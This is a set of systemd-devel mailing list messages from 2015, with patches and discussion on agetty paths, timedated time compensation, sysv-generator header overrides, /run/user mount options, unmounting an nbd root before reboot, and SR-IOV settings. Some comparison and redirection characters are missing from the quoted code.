May be in /sbin or /usr/sbin --- Makefile.am | 1 + configure.ac | 2 ++ units/console-getty.service.m4.in| 2 +- units/container-ge...@.service.m4.in | 2 +- units/getty@.service.m4 | 2 +- units/serial-getty@.service.m4 | 2 +- 6 files changed, 7 insertions(+), 4 deletions(-) diff --git a/Makefile.am b/Makefile.am index bf04d31..50da86c 100644 --- a/Makefile.am +++ b/Makefile.am @@ -6240,6 +6240,7 @@ substitutions = \ '|udevlibexecdir=$(udevlibexecdir)|' \ '|SUSHELL=$(SUSHELL)|' \ '|SULOGIN=$(SULOGIN)|' \ + '|AGETTY=$(AGETTY)|' \ '|DEBUGTTY=$(DEBUGTTY)|' \ '|KILL=$(KILL)|' \ '|KMOD=$(KMOD)|' \ diff --git a/configure.ac b/configure.ac index 97a29d6..8d434cf 100644 --- a/configure.ac +++ b/configure.ac @@ -100,6 +100,8 @@ AC_PATH_PROG([KEXEC], [kexec], [/usr/sbin/kexec], [$PATH:/usr/sbin:/sbin]) AC_PATH_PROG([SULOGIN], [sulogin], [/usr/sbin/sulogin], [$PATH:/usr/sbin:/sbin]) +AC_PATH_PROG([AGETTY], [agetty], [/usr/sbin/agetty], [$PATH:/usr/sbin:/sbin]) + AS_IF([! ln --relative --help /dev/null 21], [AC_MSG_ERROR([*** ln doesn't support --relative ***])]) M4_DEFINES= diff --git a/units/console-getty.service.m4.in b/units/console-getty.service.m4.in index 8ac51a4..b12810e 100644 --- a/units/console-getty.service.m4.in +++ b/units/console-getty.service.m4.in @@ -15,7 +15,7 @@ After=rc-local.service Before=getty.target [Service] -ExecStart=-/sbin/agetty --noclear --keep-baud console 115200,38400,9600 $TERM +ExecStart=-@AGETTY@ --noclear --keep-baud console 115200,38400,9600 $TERM Type=idle Restart=always RestartSec=0 diff --git a/units/container-ge...@.service.m4.in b/units/container-ge...@.service.m4.in index e126f3a..127abaf 100644 --- a/units/container-ge...@.service.m4.in +++ b/units/container-ge...@.service.m4.in @@ -17,7 +17,7 @@ IgnoreOnIsolate=yes ConditionPathExists=/dev/pts/%I [Service] -ExecStart=-/sbin/agetty --noclear --keep-baud pts/%I 115200,38400,9600 $TERM +ExecStart=-@AGETTY@ --noclear --keep-baud pts/%I 115200,38400,9600 $TERM Type=idle Restart=always RestartSec=0 diff --git a/units/getty@.service.m4 b/units/getty@.service.m4 index 46164ab..e1a418a 100644 --- a/units/getty@.service.m4 +++ b/units/getty@.service.m4 @@ -27,7 +27,7 @@ ConditionPathExists=/dev/tty0 [Service] # the VT is cleared by TTYVTDisallocate -ExecStart=-/sbin/agetty --noclear %I $TERM +ExecStart=-@AGETTY@ --noclear %I $TERM Type=idle Restart=always RestartSec=0 diff --git a/units/serial-getty@.service.m4 b/units/serial-getty@.service.m4 index 4522d0d..bafbbb2 100644 --- a/units/serial-getty@.service.m4 +++ b/units/serial-getty@.service.m4 @@ -22,7 +22,7 @@ Before=getty.target IgnoreOnIsolate=yes [Service] -ExecStart=-/sbin/agetty --keep-baud 115200,38400,9600 %I $TERM +ExecStart=-@AGETTY@ --keep-baud 115200,38400,9600 %I $TERM Type=idle Restart=always UtmpIdentifier=%I -- 2.2.2 ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
On 02/15/2015 04:21 PM, Christian Seiler wrote: Hi, I just noticed that sysv-generator doesn't handle /etc/insserv/overrides (e.g. older SuSE, Debian) or /etc/chkconfig.d (e.g. RHEL = 6, Centos, old Fedora), it just ignores it, thus not retaining administrator overrides to init script headers. Now obviously, one can create a native unit file that overrides the sysv service, but that is not always so nice. In the simplest case, the init script is trivial and you just create a simple native service and are better off anyway. But most of the time, init scripts where you want to override headers are provided by third parties, and do a lot of involved things, and as an administrator you don't want to port the old init script yourself, you just want to call the original one and be done with it. (And even worse, some third-party init scripts don't even come with LSB headers, even in 2015.) That's a matter of perception we prefer migrating the legacy sysv initscript on these parts to take advantage of administrator features systemd provides. On top of that this is the first time I have ever heard of this ( as in you could overwrite lsb headers with configuration snippets in /etc/chkconfig.d ) and dont recall coming across it in documentation while handling the migration from legacy sysv init scripts to native systemd units in Fedora nor has anyone anywhere filed a bug about this missing for the past 5 years in the downstream bug trackers where I monitor bugs filed against systemd. That said adding this support to systemd does not seems justified enough since a) at one point in time the backward compatibility will be dropped altogether b) nobody seems to be using this feature of chkconfig otherwise bugs would have been filed and we would have heard about it by now. JBG ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] user units and system units behavior
On 14/02/15 18:26, Ivan Shapovalov wrote: Yes, the per-session bus is there, but it is not used at all for communication with per-user systemd instance. I do want this to work, and I'm working on making it happen. It works on my Debian system, with the patched dbus that I recently uploaded to experimental. When my patches on https://bugs.freedesktop.org/show_bug.cgi?id=61301 have been merged, if dbus is compiled with --enable-user-session and you are running systemd, the per-login-session dbus-daemon --session will be replaced by a per-user-session dbus-daemon --session (see earlier thread for explanation of login session vs. user session). At that point, the dbus-daemon --session can be suitable for communicating with `systemd --user`. (I believe the plan is (still) that kdbus systems will always have an equivalent of this new per-user-session bus, and never a per-login-session bus.) No, mine /etc/X11/xinitrc.d is Simon's /etc/X11/Xsession.d and similar setups. It's apparently a distro-specific path. Yes. I think /etc/X11/xinitrc.d is what Red Hat and its derivatives use. Xsession.d is used instead in Debian and its derivatives, including Ubuntu. The differences are because, historically, this sort of plumbing was something that every distribution had to invent for itself. S -- Simon McVittie Collabora Ltd. http://www.collabora.com/ ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Mount options of /var/run/users/pid
B1;3802;0cOn Sun, 15.02.15 16:31, Павел Самсонов (pvsamsono...@gmail.com) wrote: Good day, I see a new Debian jessie, and I mean, that /var/run/pid filesystems must be mounted with noexec options, so thay have user write access. On some installations this very important. Were I may configure this, or may be You change your default mount options? Sorry my English, best regards, Pavel, Russia. I cannot parse this. Do you mean /run/user/uid? /var/run/pid is not a separate mount, /run is, and that is not user writable. The /run/user/uid directory is mounted to implement XDG_RUNTIME_DIR. We guarantee certain functionality on it, including the ability to have executable files there, and that's specified in the XDG_RUNTIME_DIR spec. Hence, the only way to change it is by patching logind, and we will not add a configuration option for this, since it would mean XDG_RUNTIME_DIR would not provide what it's supposed to provide anymore. Note though that /run/user/uid is mounted as per-user tmpfs instance, with nosuid and nodev, and a size limit applied. It should hence be a pretty safe thing. Also note that noexec doesn't really do what people think it does. Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Unmount / right before reboot/shutdown/kexec
On Fri, 13.02.15 23:15, Lorenzo Pistone (blaffabla...@gmail.com) wrote: Hello, the cloud provider I'm testing has rather strange setup. All volumes are provided through nbd, including /, and they have to be unmounted cleanly for reboot to work successfully, because the rebooted or kexec'd kernel will retry to attach them and if there host thinks there's already a connection mounting will fail. However, unmounting needs to happen as the very last thing before rebooting, because after that / will disappear. They currently have an unholy hack: they replace systemd-reboot.service with their own version that simply disconnects / and calls 'echo b /proc/sysrq-trigger'. I believe this is far from the correct way of doing things (among the other things, an update of systemd replaces systemd-reboot.service). How can this be done more cleanly? Please don't argue whether having / as a ndb device is a good thing. It is not my call. Note that unmounting the root directory is only possible if you do not have any binaries running that are located on it (since they keep the root fs busy) We support a scheme like this if the initrd is set up for it. The idea here is basically that the initrd runs before the root fs is up, and takes over again after the root fs is no longer used. It sets up the rootfs and is also responsible to taking it down again. Since the initrd brings its own file hierarchy and binaries it can unmount the root fs without any limitations. Dracut (and thus Fedora) among other initrds, makes use of this, and unmounts the root fs at every shutdown. For details about this interface see: http://www.freedesktop.org/wiki/Software/systemd/InitrdInterface/ Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH] timedated: when performing SetTime compensate for program lag
On Fri, 13.02.15 15:34, Shawn Landden (sh...@churchofgit.com) wrote:
---
TODO | 2 --
src/timedate/timedated.c | 14 ++
2 files changed, 14 insertions(+), 2 deletions(-)
diff --git a/TODO b/TODO
index 68b0af6..7b93404 100644
--- a/TODO
+++ b/TODO
@@ -190,8 +190,6 @@ Features:
* we should try harder to collapse start jobs for swaps that end up being
the same:
http://lists.freedesktop.org/archives/systemd-devel/2014-November/025359.html
-* timedated should compensate on SetTime for the time spent in polkit
-
* figure out when we can use the coarse timers
* sd-resolve: drop res_query wrapping, people should call via the bus to
resolved instead
diff --git a/src/timedate/timedated.c b/src/timedate/timedated.c
index 753c3d1..7948bfa 100644
--- a/src/timedate/timedated.c
+++ b/src/timedate/timedated.c
@@ -529,6 +529,7 @@ static int method_set_time(sd_bus *bus, sd_bus_message
*m, void *userdata, sd_bu
Context *c = userdata;
int64_t utc;
struct timespec ts;
+usec_t start, ready;
struct tm* tm;
int r;
@@ -569,6 +570,19 @@ static int method_set_time(sd_bus *bus, sd_bus_message
*m, void *userdata, sd_bu
if (r == 0)
return 1;
+/* adjust ts for time spent in program */
+r = sd_bus_message_get_monotonic_usec(m, start);
+if (r 0) {
+/* we only get this data if we are using kdbus */
+if (r == -ENODATA)
+goto nodata;
+
+return r;
+}
+ready = now(CLOCK_MONOTONIC);
+timespec_store(ts, timespec_load(ts) + (ready - start));
+nodata:
+
It's ok to use goto for error cleanups, but in thise case this seems
unnecessary...
Also, to get timestamps you need to explicitly request them when
setting up the bus connection with sd_bus_negotiate_timestamp(),
otherwise messages will never carry timestamps.
Lennart
--
Lennart Poettering, Red Hat
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
Hi,
Would you accept a patch that makes the sysv-generator consider these
local overrides? (I have a test patch just for insserv/overrides
that's diffstat +14 -8; for chkconfig.d it would be a bit more longer,
because you can override individual settings there (and not just all
of them at once), but shouldn't be too complicated.
We currently have support for calling out to chkconfig, but zero
support for calling out to update-rcd or insserv. It would be weird
supporting some facilities they provide without supporting the tools
themsevles...
This is also the first time I hear about chkconfig.d, which is kinda
interesting, given that the transition on Fedora is already years
past... We never got any request for it to be supported
explicitly. Which makes me wonder if it really makes sense to support
this now.
So, I am pretty conservative about this. That said I am note entirely
sure what precisely the patch you propose would entail. What precisely
would it do? Just look for init scripts in some other place in
addition to /etc/rc.d?
So this would definitely NOT call out to anything at all, this is just
about the possibility to override headers (LSB or chkconfig ones) in
init scripts.
Basically, you have the following semantics
- insserv (SuSE/Debian), when it processes /etc/init.d/$NAME, it also
looks for /etc/insserv/overrides/$NAME. If the latter exists, it
reads the LSB headers (but ONLY the LSB headers) from that file and
completely ignores the LSB headers in /etc/init.d/$NAME (i.e. that
file is not parsed at all). But the script called is still the
original /etc/init.d/$NAME.
- chkconfig (Fedora, RHEL, ...), when it processes /etc/init.d/$NAME,
it also looks for /etc/chkconfig.d/$NAME. If the latter exists,
every header set in that file overrides the corresponding header in
the original init script (but the original init script is still
read).
You couldn't override init scripts that way - if you wanted to do that,
you'd have to replace them completely. But if you just want to alter
(or even specify for the first time for certain third-party scripts)
dependency information but keep getting updates for the init script
from the software vendor, this was really, really useful.
A patch that would incorporate both would be something along the lines
of:
- add sysv_override_path to LookupPaths and sysv_override_type
override_type would be either SYSV_OVERRIDE_UPDATING (chkconfig.d
semantics) or SYSV_OVERRIDE_REPLACING (insserv semantics)
- add override_path to struct SysvStub and fill it in
enumerate_sysv() with
lp-sysv_override_path + / + scriptname
- load_sysv(SysvStub *s) - load_sysv(SysvStub *s, const char *path)
+ use that path instead of s-path in there
- in main, replace q = load_sysv(service) with something like
if (!file_exists(service-override_path) || lp-sysv_override_type ==
SYSV_OVERRIDE_UPDATING) {
q = load_sysv(service, service-path);
if (q 0)
continue;
}
if (file_exists(service-override_path)) {
q = load_sysv(service, service-override_path);
if (q 0)
continue;
}
- continue to use s-path for ExecStart etc.
I don't think that would be terribly complicated, but I haven't written
and tested it yet, since I first wanted to know whether you'd consider
this at all.
Note that on servers running Debian I've used /etc/insserv/overrides
countless times over the past years, so maybe chkconfig.d wasn't
something that was widely popularized, but insserv/overrides definitely
was.
Christian
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
resending, didn't go to list the first time (sorry for the duplicate) Am 16.02.2015 um 12:00 schrieb Jóhann B. Guðmundsson: In the simplest case, the init script is trivial and you just create a simple native service and are better off anyway. But most of the time, init scripts where you want to override headers are provided by third parties, and do a lot of involved things, and as an administrator you don't want to port the old init script yourself, you just want to call the original one and be done with it. (And even worse, some third-party init scripts don't even come with LSB headers, even in 2015.) That's a matter of perception we prefer migrating the legacy sysv initscript on these parts to take advantage of administrator features systemd provides. Sure, in an ideal world. But as I said in my initial mail, if you have crappy scripts provided by third-parties, this is not always an option. And I don't think init scripts are going to fully disappear in the next 10 years, it's not realistic - especially if you look at a lot of third-party scripts, where the authors appear to have had no clue about what they were doing. Christian ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
On 02/16/2015 11:32 AM, Christian Seiler wrote: Sure, in an ideal world. But as I said in my initial mail, if you have crappy scripts provided by third-parties, this is not always an option. And I don't think init scripts are going to fully disappear in the next 10 years, it's not realistic - especially if you look at a lot of third-party scripts, where the authors appear to have had no clue about what they were doing. Initscripts will disappear once we stop provide backwards compatibility to them. Regarding authors and initscripts I can safely say after going through what close to 600 components shipping initscripts in Fedora that the majority of the authors of those initscript did not have had no clue about what they were doing when they wrote them. Ironically the same pattern seems to be emerging amongst unit writers so as things stand now history is on a path to repeat itself in that regard. JBG ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] persisting sriov_numvfs
On Sat, Feb 14, 2015 at 12:47:54AM +0100, Tom Gundersen wrote: On Tue, Jan 27, 2015 at 5:49 PM, Lennart Poettering lenn...@poettering.net wrote: On Tue, 27.01.15 08:41, Martin Polednik (mpoled...@redhat.com) wrote: b) Expose this via udev .link files. This would be appropriate if adding/removing VFs is a one-time thing, when a device pops up. This would be networking specific, not cover anything else like GPU or storage or so. Would still be quite nice. Would probably the best option, after a), if VFs cannot be added/removed dynamically all the time without affecting the other VFs. c) Expose this via udev rules files. This would be generic, would work for networking as well as GPUs or storage. This would entail writing our rules files when you want to configure the number of VFs. Care needs to be taken to use the right way to identify devices as they come and go, so that you can apply configuration to them in a stable way. This is somewhat uglier, as we don't really think that udev rules should be used that much for configuration, especially not for configuration written out by programs, rather than manually. However, logind already does this, to assign seat identifiers to udev devices to enable multi-seat support. A combination of b) for networking and c) for the rest might be an option too. I myself would vote for b) + c) since we want to cover most of the possible use cases for SR-IOV and MR-IOV, which hopefully shares the interface; adding Dan back to CC as he is the one to speak for network. I have added b) to our TODO list for networkd/udev .link files. I discussed this with Michal Sekletar who has been looking at this. It appears that the sysfs attribute can only be set after the underlying netdev is IFF_UP. Is that expected? If so, I don't think it is appropriate for udev to deal with this. If anything it should be networkd (who is responsible for bringing the links up), but I must say I don't think this kernel API makes much sense, so hopefully we can come up with something better... I tried this only with hardware using bnx2x driver but I don't assume that other hardware will behave any different. Anyway, so far it *seems* like udev is not the right place to implement this. Michal c) should probably be done outside of systemd/udev. Just write a tool (or even documenting this might suffice), that creates udev rules in /etc/udev/rules.d, matches against ID_PATH and then sets the right attribute. Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
